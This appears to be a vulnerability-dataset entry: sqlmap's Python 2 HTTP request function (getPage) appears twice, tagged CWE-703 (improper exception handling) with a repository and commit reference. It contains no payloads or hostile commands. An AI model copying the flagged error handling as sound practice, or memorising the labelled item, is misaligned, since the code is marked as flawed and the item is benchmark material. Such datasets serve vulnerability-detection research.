        requestMsg = u""HTTP request [#%d]:\r\n%s "" % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
        requestMsg += getUnicode((""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """")) if not any((refreshing, crawling, checking)) else url)
        responseMsg = u""HTTP response ""
        requestHeaders = u""""
        responseHeaders = None
        logHeaders = u""""
        skipLogTraffic = False

        raise404 = raise404 and not kb.ignoreNotFound

        # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
        # support those by default
        url = asciifyUrl(url)

        try:
            socket.setdefaulttimeout(timeout)

            if direct_:
                if '?' in url:
                    url, params = url.split('?', 1)
                    params = urlencode(params)
                    url = ""%s?%s"" % (url, params)

            elif any((refreshing, crawling, checking)):
                pass

            elif target:
                if conf.forceSSL and urlparse.urlparse(url).scheme != ""https"":
                    url = re.sub(r""(?i)\Ahttp:"", ""https:"", url)
                    url = re.sub(r""(?i):80/"", "":443/"", url)

                if PLACE.GET in conf.parameters and not get:
                    get = conf.parameters[PLACE.GET]

                    if not conf.skipUrlEncode:
                        get = urlencode(get, limit=True)

                if get:
                    if '?' in url:
                        url = ""%s%s%s"" % (url, DEFAULT_GET_POST_DELIMITER, get)
                        requestMsg += ""%s%s"" % (DEFAULT_GET_POST_DELIMITER, get)
                    else:
                        url = ""%s?%s"" % (url, get)
                        requestMsg += ""?%s"" % get

                if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET:
                    post = conf.parameters[PLACE.POST]

            elif get:
                url = ""%s?%s"" % (url, get)
                requestMsg += ""?%s"" % get

            requestMsg += "" %s"" % httplib.HTTPConnection._http_vsn_str

            # Prepare HTTP headers
            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {})

            if HTTP_HEADER.COOKIE in headers:
                cookie = headers[HTTP_HEADER.COOKIE]

            if kb.authHeader:
                headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader

            if kb.proxyAuthHeader:
                headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader

            if not conf.requestFile or not target:
                if not getHeader(headers, HTTP_HEADER.HOST):
                    headers[HTTP_HEADER.HOST] = getHostHeader(url)

                if not getHeader(headers, HTTP_HEADER.ACCEPT):
                    headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE

                if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
                    headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else ""identity""

            elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
                for header in headers:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        del headers[header]
                        break

            if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE)

            if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]:
                warnMsg = ""missing 'boundary parameter' in '%s' header. "" % HTTP_HEADER.CONTENT_TYPE
                warnMsg += ""Will try to reconstruct""
                singleTimeWarnMessage(warnMsg)

                boundary = findMultipartPostBoundary(conf.data)
                if boundary:
                    headers[HTTP_HEADER.CONTENT_TYPE] = ""%s; boundary=%s"" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)

            if conf.keepAlive:
                headers[HTTP_HEADER.CONNECTION] = ""keep-alive""
            
            if chunked:
                headers[HTTP_HEADER.TRANSFER_ENCODING] = ""chunked""

            if auxHeaders:
                headers = forgeHeaders(auxHeaders, headers)

            for key, value in headers.items():
                del headers[key]
                value = unicodeencode(value, kb.pageEncoding)
                for char in (r""\r"", r""\n""):
                    value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", value)
                headers[unicodeencode(key, kb.pageEncoding)] = value.strip(""\r\n"")

            url = unicodeencode(url)
            post = unicodeencode(post)

            if websocket_:
                ws = websocket.WebSocket()
                ws.settimeout(timeout)
                ws.connect(url, header=(""%s: %s"" % _ for _ in headers.items() if _[0] not in (""Host"",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
                ws.send(urldecode(post or """"))
                page = ws.recv()
                ws.close()
                code = ws.status
                status = httplib.responses[code]

                class _(dict):
                    pass

                responseHeaders = _(ws.getheaders())
                responseHeaders.headers = [""%s: %s\r\n"" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]

                requestHeaders += ""\r\n"".join([""%s: %s"" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                requestMsg += ""\r\n""

                threadData.lastRequestMsg = requestMsg

                logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
            else:
                if method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST):
                    method = unicodeencode(method)
                    req = MethodRequest(url, post, headers)
                    req.set_method(method)
                elif url is not None:
                    req = urllib2.Request(url, post, headers)
                else:
                    return None, None, None

                requestHeaders += ""\r\n"".join([""%s: %s"" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()])

                if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
                    conf.cj._policy._now = conf.cj._now = int(time.time())
                    cookies = conf.cj._cookies_for_request(req)
                    requestHeaders += ""\r\n%s"" % (""Cookie: %s"" % "";"".join(""%s=%s"" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))

                if post is not None:
                    if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked:
                        requestHeaders += ""\r\n%s: %d"" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))

                if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
                    requestHeaders += ""\r\n%s: %s"" % (HTTP_HEADER.CONNECTION, ""close"" if not conf.keepAlive else ""keep-alive"")

                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                if not chunked:
                    requestMsg += ""\r\n""

                if not multipart:
                    threadData.lastRequestMsg = requestMsg

                    logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

                if conf.cj:
                    for cookie in conf.cj:
                        if cookie.value is None:
                            cookie.value = """"
                        else:
                            for char in (r""\r"", r""\n""):
                                cookie.value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", cookie.value)

                conn = urllib2.urlopen(req)

                if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or """").lower() == AUTH_TYPE.BASIC.lower():
                    kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION)

                if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
                    kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)

                # Return response object
                if response:
                    return conn, None, None

                # Get HTTP response
                if hasattr(conn, ""redurl""):
                    page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
                    skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
                    code = conn.redcode if not finalCode else code
                else:
                    page = Connect._connReadProxy(conn) if not skipRead else None

                if conn:
                    code = (code or conn.code) if conn.code == kb.originalCode else conn.code  # do not override redirection code (for comparison purposes)
                    responseHeaders = conn.info()
                    responseHeaders[URI_HTTP_HEADER] = conn.geturl()
                    kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
                else:
                    code = None
                    responseHeaders = {}

                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
                status = getUnicode(conn.msg) if conn and getattr(conn, ""msg"", None) else None

            kb.connErrorCounter = 0

            if not refreshing:
                refresh = responseHeaders.get(HTTP_HEADER.REFRESH, """").split(""url="")[-1].strip()

                if extractRegexResult(META_REFRESH_REGEX, page):
                    refresh = extractRegexResult(META_REFRESH_REGEX, page)

                    debugMsg = ""got HTML meta refresh header""
                    logger.debug(debugMsg)

                if refresh:
                    if kb.alwaysRefresh is None:
                        msg = ""sqlmap got a refresh request ""
                        msg += ""(redirect like response common to login pages). ""
                        msg += ""Do you want to apply the refresh ""
                        msg += ""from now on (or stay on the original page)? [Y/n]""

                        kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)

                    if kb.alwaysRefresh:
                        if re.search(r""\Ahttps?://"", refresh, re.I):
                            url = refresh
                        else:
                            url = urlparse.urljoin(url, refresh)

                        threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
                        kwargs[""refreshing""] = True
                        kwargs[""url""] = url
                        kwargs[""get""] = None
                        kwargs[""post""] = None

                        try:
                            return Connect._getPageProxy(**kwargs)
                        except SqlmapSyntaxException:
                            pass

            # Explicit closing of connection object
            if conn and not conf.keepAlive:
                try:
                    if hasattr(conn.fp, '_sock'):
                        conn.fp._sock.close()
                    conn.close()
                except Exception as ex:
                    warnMsg = ""problem occurred during connection closing ('%s')"" % getSafeExString(ex)
                    logger.warn(warnMsg)

        except SqlmapConnectionException as ex:
            if conf.proxyList and not kb.threadException:
                warnMsg = ""unable to connect to the target URL ('%s')"" % ex
                logger.critical(warnMsg)
                threadData.retriesCount = conf.retries
                return Connect._retryProxy(**kwargs)
            else:
                raise

        except urllib2.HTTPError as ex:
            page = None
            responseHeaders = None

            if checking:
                return None, None, None

            try:
                page = ex.read() if not skipRead else None
                responseHeaders = ex.info()
                responseHeaders[URI_HTTP_HEADER] = ex.geturl()
                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
            except socket.timeout:
                warnMsg = ""connection timed out while trying ""
                warnMsg += ""to get error page information (%d)"" % ex.code
                logger.warn(warnMsg)
                return None, None, None
            except KeyboardInterrupt:
                raise
            except:
                pass
            finally:
                page = page if isinstance(page, unicode) else getUnicode(page)

            code = ex.code
            status = getSafeExString(ex)

            kb.originalCode = kb.originalCode or code
            threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
            kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1

            responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = getUnicode("""".join(responseHeaders.headers).strip())

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time())

            skipLogTraffic = True

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_CHUNK_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

            if ex.code != conf.ignoreCode:
                if ex.code == httplib.UNAUTHORIZED:
                    errMsg = ""not authorized, try to provide right HTTP ""
                    errMsg += ""authentication type and valid credentials (%d)"" % code
                    raise SqlmapConnectionException(errMsg)
                elif ex.code == httplib.NOT_FOUND:
                    if raise404:
                        errMsg = ""page not found (%d)"" % code
                        raise SqlmapConnectionException(errMsg)
                    else:
                        debugMsg = ""page not found (%d)"" % code
                        singleTimeLogMessage(debugMsg, logging.DEBUG)
                elif ex.code == httplib.GATEWAY_TIMEOUT:
                    if ignoreTimeout:
                        return None if not conf.ignoreTimeouts else """", None, None
                    else:
                        warnMsg = ""unable to connect to the target URL (%d - %s)"" % (ex.code, httplib.responses[ex.code])
                        if threadData.retriesCount < conf.retries and not kb.threadException:
                            warnMsg += "". sqlmap is going to retry the request""
                            logger.critical(warnMsg)
                            return Connect._retryProxy(**kwargs)
                        elif kb.testMode:
                            logger.critical(warnMsg)
                            return None, None, None
                        else:
                            raise SqlmapConnectionException(warnMsg)
                else:
                    debugMsg = ""got HTTP error code: %d (%s)"" % (code, status)
                    logger.debug(debugMsg)

        except (urllib2.URLError, socket.error, socket.timeout, httplib.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError):
            tbMsg = traceback.format_exc()

            if checking:
                return None, None, None
            elif ""no host given"" in tbMsg:
                warnMsg = ""invalid URL address used (%s)"" % repr(url)
                raise SqlmapSyntaxException(warnMsg)
            elif ""forcibly closed"" in tbMsg or ""Connection is already closed"" in tbMsg:
                warnMsg = ""connection was forcibly closed by the target URL""
            elif ""timed out"" in tbMsg:
                if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection timed out to the target URL""
            elif ""Connection reset"" in tbMsg:
                if not conf.disablePrecon:
                    singleTimeWarnMessage(""turning off pre-connect mechanism because of connection reset(s)"")
                    conf.disablePrecon = True

                if kb.testMode:
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection reset to the target URL""
            elif ""URLError"" in tbMsg or ""error"" in tbMsg:
                warnMsg = ""unable to connect to the target URL""
                match = re.search(r""Errno \d+\] ([^>]+)"", tbMsg)
                if match:
                    warnMsg += "" ('%s')"" % match.group(1).strip()
            elif ""NTLM"" in tbMsg:
                warnMsg = ""there has been a problem with NTLM authentication""
            elif ""Invalid header name"" in tbMsg:  # (e.g. PostgreSQL ::Text payload)
                return None, None, None
            elif ""BadStatusLine"" in tbMsg:
                warnMsg = ""connection dropped or unknown HTTP ""
                warnMsg += ""status code received""
                if not conf.agent and not conf.randomAgent:
                    warnMsg += "". Try to force the HTTP User-Agent ""
                    warnMsg += ""header with option '--user-agent' or switch '--random-agent'""
            elif ""IncompleteRead"" in tbMsg:
                warnMsg = ""there was an incomplete read error while retrieving data ""
                warnMsg += ""from the target URL""
            elif ""Handshake status"" in tbMsg:
                status = re.search(r""Handshake status ([\d]{3})"", tbMsg)
                errMsg = ""websocket handshake status %s"" % status.group(1) if status else ""unknown""
                raise SqlmapConnectionException(errMsg)
            elif ""SqlmapCompressionException"" in tbMsg:
                warnMsg = ""problems with response (de)compression""
                retrying = True
            else:
                warnMsg = ""unable to connect to the target URL""

            if ""BadStatusLine"" not in tbMsg and any((conf.proxy, conf.tor)):
                warnMsg += "" or proxy""

            if silent:
                return None, None, None

            with kb.locks.connError:
                kb.connErrorCounter += 1

                if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.connErrorChoice is None:
                    message = ""there seems to be a continuous problem with connection to the target. ""
                    message += ""Are you sure that you want to continue ""
                    message += ""with further target testing? [y/N] ""

                    kb.connErrorChoice = readInput(message, default='N', boolean=True)

                if kb.connErrorChoice is False:
                    raise SqlmapConnectionException(warnMsg)

            if ""forcibly closed"" in tbMsg:
                logger.critical(warnMsg)
                return None, None, None
            elif ignoreTimeout and any(_ in tbMsg for _ in (""timed out"", ""IncompleteRead"")):
                return None if not conf.ignoreTimeouts else """", None, None
            elif threadData.retriesCount < conf.retries and not kb.threadException:
                warnMsg += "". sqlmap is going to retry the request""
                if not retrying:
                    warnMsg += ""(s)""
                    logger.critical(warnMsg)
                else:
                    logger.debug(warnMsg)
                return Connect._retryProxy(**kwargs)
            elif kb.testMode or isMultiThreadMode():
                logger.critical(warnMsg)
                return None, None, None
            else:
                raise SqlmapConnectionException(warnMsg)

        finally:
            if isinstance(page, basestring) and not isinstance(page, unicode):
                if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]):
                    page = unicode(page, errors=""ignore"")
                else:
                    page = getUnicode(page)

            for function in kb.preprocessFunctions:
                try:
                    page, responseHeaders, code = function(page, responseHeaders, code)
                except Exception as ex:
                    errMsg = ""error occurred while running preprocess ""
                    errMsg += ""function '%s' ('%s')"" % (function.func_name, getSafeExString(ex))
                    raise SqlmapGenericException(errMsg)

            threadData.lastPage = page
            threadData.lastCode = code

            socket.setdefaulttimeout(conf.timeout)

        processResponse(page, responseHeaders, status)

        if conn and getattr(conn, ""redurl"", None):
            _ = urlparse.urlsplit(conn.redurl)
            _ = (""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """"))
            requestMsg = re.sub(r""(\n[A-Z]+ ).+?( HTTP/\d)"", r""\g<1>%s\g<2>"" % getUnicode(_).replace(""\\"", ""\\\\""), requestMsg, 1)

            if kb.resendPostOnRedirect is False:
                requestMsg = re.sub(r""(\[#\d+\]:\n)POST "", r""\g<1>GET "", requestMsg)
                requestMsg = re.sub(r""(?i)Content-length: \d+\n"", """", requestMsg)
                requestMsg = re.sub(r""(?s)\n\n.+"", ""\n"", requestMsg)

            responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, conn.code, status)
        else:
            responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

        if responseHeaders:
            logHeaders = getUnicode("""".join(responseHeaders.headers).strip())

        if not skipLogTraffic:
            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time())

        if conf.verbose <= 5:
            responseMsg += getUnicode(logHeaders)
        elif conf.verbose > 5:
            responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_CHUNK_SIZE])

        if not multipart:
            logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

        return page, responseHeaders, code",CWE-703,sqlmapproject/sqlmap,bf3edcfc1c4856b87833e1a2a889204077ad6c81,"def getPage(**kwargs):
        """"""
        This method connects to the target URL or proxy and returns
        the target URL page content
        """"""

        start = time.time()

        if isinstance(conf.delay, (int, float)) and conf.delay > 0:
            time.sleep(conf.delay)

        if conf.offline:
            return None, None, None
        elif conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0:
            if conf.murphyRate:
                time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))
            return getUnicode(randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt())), None, None if not conf.murphyRate else randomInt(3)

        threadData = getCurrentThreadData()
        with kb.locks.request:
            kb.requestCounter += 1
            threadData.lastRequestUID = kb.requestCounter

        url = kwargs.get(""url"", None) or conf.url
        get = kwargs.get(""get"", None)
        post = kwargs.get(""post"", None)
        method = kwargs.get(""method"", None)
        cookie = kwargs.get(""cookie"", None)
        ua = kwargs.get(""ua"", None) or conf.agent
        referer = kwargs.get(""referer"", None) or conf.referer
        host = kwargs.get(""host"", None) or conf.host
        direct_ = kwargs.get(""direct"", False)
        multipart = kwargs.get(""multipart"", None)
        silent = kwargs.get(""silent"", False)
        raise404 = kwargs.get(""raise404"", True)
        timeout = kwargs.get(""timeout"", None) or conf.timeout
        auxHeaders = kwargs.get(""auxHeaders"", None)
        response = kwargs.get(""response"", False)
        ignoreTimeout = kwargs.get(""ignoreTimeout"", False) or kb.ignoreTimeout or conf.ignoreTimeouts
        refreshing = kwargs.get(""refreshing"", False)
        retrying = kwargs.get(""retrying"", False)
        crawling = kwargs.get(""crawling"", False)
        checking = kwargs.get(""checking"", False)
        skipRead = kwargs.get(""skipRead"", False)
        finalCode = kwargs.get(""finalCode"", False)
        chunked = kwargs.get(""chunked"", False) or conf.chunked

        if multipart:
            post = multipart

        if chunked and post:
            post = urllib.unquote(post)
            post = chunkSplitPostData(post)

        websocket_ = url.lower().startswith(""ws"")

        if not urlparse.urlsplit(url).netloc:
            url = urlparse.urljoin(conf.url, url)

        # flag to know if we are dealing with the same target host
        target = checkSameHost(url, conf.url)

        if not retrying:
            # Reset the number of connection retries
            threadData.retriesCount = 0

        # fix for known issue when urllib2 just skips the other part of provided
        # url splitted with space char while urlencoding it in the later phase
        url = url.replace("" "", ""%20"")

        if ""://"" not in url:
            url = ""http://%s"" % url

        conn = None
        page = None
        code = None
        status = None

        _ = urlparse.urlsplit(url)
        requestMsg = u""HTTP request [#%d]:\r\n%s "" % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
        requestMsg += getUnicode((""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """")) if not any((refreshing, crawling, checking)) else url)
        responseMsg = u""HTTP response ""
        requestHeaders = u""""
        responseHeaders = None
        logHeaders = u""""
        skipLogTraffic = False

        raise404 = raise404 and not kb.ignoreNotFound

        # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
        # support those by default
        url = asciifyUrl(url)

        try:
            socket.setdefaulttimeout(timeout)

            if direct_:
                if '?' in url:
                    url, params = url.split('?', 1)
                    params = urlencode(params)
                    url = ""%s?%s"" % (url, params)

            elif any((refreshing, crawling, checking)):
                pass

            elif target:
                if conf.forceSSL and urlparse.urlparse(url).scheme != ""https"":
                    url = re.sub(r""(?i)\Ahttp:"", ""https:"", url)
                    url = re.sub(r""(?i):80/"", "":443/"", url)

                if PLACE.GET in conf.parameters and not get:
                    get = conf.parameters[PLACE.GET]

                    if not conf.skipUrlEncode:
                        get = urlencode(get, limit=True)

                if get:
                    if '?' in url:
                        url = ""%s%s%s"" % (url, DEFAULT_GET_POST_DELIMITER, get)
                        requestMsg += ""%s%s"" % (DEFAULT_GET_POST_DELIMITER, get)
                    else:
                        url = ""%s?%s"" % (url, get)
                        requestMsg += ""?%s"" % get

                if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET:
                    post = conf.parameters[PLACE.POST]

            elif get:
                url = ""%s?%s"" % (url, get)
                requestMsg += ""?%s"" % get

            requestMsg += "" %s"" % httplib.HTTPConnection._http_vsn_str

            # Prepare HTTP headers
            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {})

            if HTTP_HEADER.COOKIE in headers:
                cookie = headers[HTTP_HEADER.COOKIE]

            if kb.authHeader:
                headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader

            if kb.proxyAuthHeader:
                headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader

            if not conf.requestFile or not target:
                if not getHeader(headers, HTTP_HEADER.HOST):
                    headers[HTTP_HEADER.HOST] = getHostHeader(url)

                if not getHeader(headers, HTTP_HEADER.ACCEPT):
                    headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE

                if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
                    headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else ""identity""

            elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
                for header in headers:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        del headers[header]
                        break

            if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE)

            if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]:
                warnMsg = ""missing 'boundary parameter' in '%s' header. "" % HTTP_HEADER.CONTENT_TYPE
                warnMsg += ""Will try to reconstruct""
                singleTimeWarnMessage(warnMsg)

                boundary = findMultipartPostBoundary(conf.data)
                if boundary:
                    headers[HTTP_HEADER.CONTENT_TYPE] = ""%s; boundary=%s"" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)

            if conf.keepAlive:
                headers[HTTP_HEADER.CONNECTION] = ""keep-alive""
            
            if chunked:
                headers[HTTP_HEADER.TRANSFER_ENCODING] = ""chunked""

            if auxHeaders:
                headers = forgeHeaders(auxHeaders, headers)

            for key, value in headers.items():
                del headers[key]
                value = unicodeencode(value, kb.pageEncoding)
                for char in (r""\r"", r""\n""):
                    value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", value)
                headers[unicodeencode(key, kb.pageEncoding)] = value.strip(""\r\n"")

            url = unicodeencode(url)
            post = unicodeencode(post)

            if websocket_:
                ws = websocket.WebSocket()
                ws.settimeout(timeout)
                ws.connect(url, header=(""%s: %s"" % _ for _ in headers.items() if _[0] not in (""Host"",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
                ws.send(urldecode(post or """"))
                page = ws.recv()
                ws.close()
                code = ws.status
                status = httplib.responses[code]

                class _(dict):
                    pass

                responseHeaders = _(ws.getheaders())
                responseHeaders.headers = [""%s: %s\r\n"" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]

                requestHeaders += ""\r\n"".join([""%s: %s"" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                requestMsg += ""\r\n""

                threadData.lastRequestMsg = requestMsg

                logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
            else:
                if method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST):
                    method = unicodeencode(method)
                    req = MethodRequest(url, post, headers)
                    req.set_method(method)
                elif url is not None:
                    req = urllib2.Request(url, post, headers)
                else:
                    return None, None, None

                requestHeaders += ""\r\n"".join([""%s: %s"" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()])

                if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
                    conf.cj._policy._now = conf.cj._now = int(time.time())
                    cookies = conf.cj._cookies_for_request(req)
                    requestHeaders += ""\r\n%s"" % (""Cookie: %s"" % "";"".join(""%s=%s"" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))

                if post is not None:
                    if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked:
                        requestHeaders += ""\r\n%s: %d"" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))

                if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
                    requestHeaders += ""\r\n%s: %s"" % (HTTP_HEADER.CONNECTION, ""close"" if not conf.keepAlive else ""keep-alive"")

                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                if not chunked:
                    requestMsg += ""\r\n""

                if not multipart:
                    threadData.lastRequestMsg = requestMsg

                    logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

                if conf.cj:
                    for cookie in conf.cj:
                        if cookie.value is None:
                            cookie.value = """"
                        else:
                            for char in (r""\r"", r""\n""):
                                cookie.value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", cookie.value)

                conn = urllib2.urlopen(req)

                if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or """").lower() == AUTH_TYPE.BASIC.lower():
                    kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION)

                if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
                    kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)

                # Return response object
                if response:
                    return conn, None, None

                # Get HTTP response
                if hasattr(conn, ""redurl""):
                    page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
                    skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
                    code = conn.redcode if not finalCode else code
                else:
                    page = Connect._connReadProxy(conn) if not skipRead else None

                if conn:
                    code = (code or conn.code) if conn.code == kb.originalCode else conn.code  # do not override redirection code (for comparison purposes)
                    responseHeaders = conn.info()
                    responseHeaders[URI_HTTP_HEADER] = conn.geturl()
                    kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
                else:
                    code = None
                    responseHeaders = {}

                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
                status = getUnicode(conn.msg) if conn and getattr(conn, ""msg"", None) else None

            kb.connErrorCounter = 0

            if not refreshing:
                refresh = responseHeaders.get(HTTP_HEADER.REFRESH, """").split(""url="")[-1].strip()

                if extractRegexResult(META_REFRESH_REGEX, page):
                    refresh = extractRegexResult(META_REFRESH_REGEX, page)

                    debugMsg = ""got HTML meta refresh header""
                    logger.debug(debugMsg)

                if refresh:
                    if kb.alwaysRefresh is None:
                        msg = ""sqlmap got a refresh request ""
                        msg += ""(redirect like response common to login pages). ""
                        msg += ""Do you want to apply the refresh ""
                        msg += ""from now on (or stay on the original page)? [Y/n]""

                        kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)

                    if kb.alwaysRefresh:
                        if re.search(r""\Ahttps?://"", refresh, re.I):
                            url = refresh
                        else:
                            url = urlparse.urljoin(url, refresh)

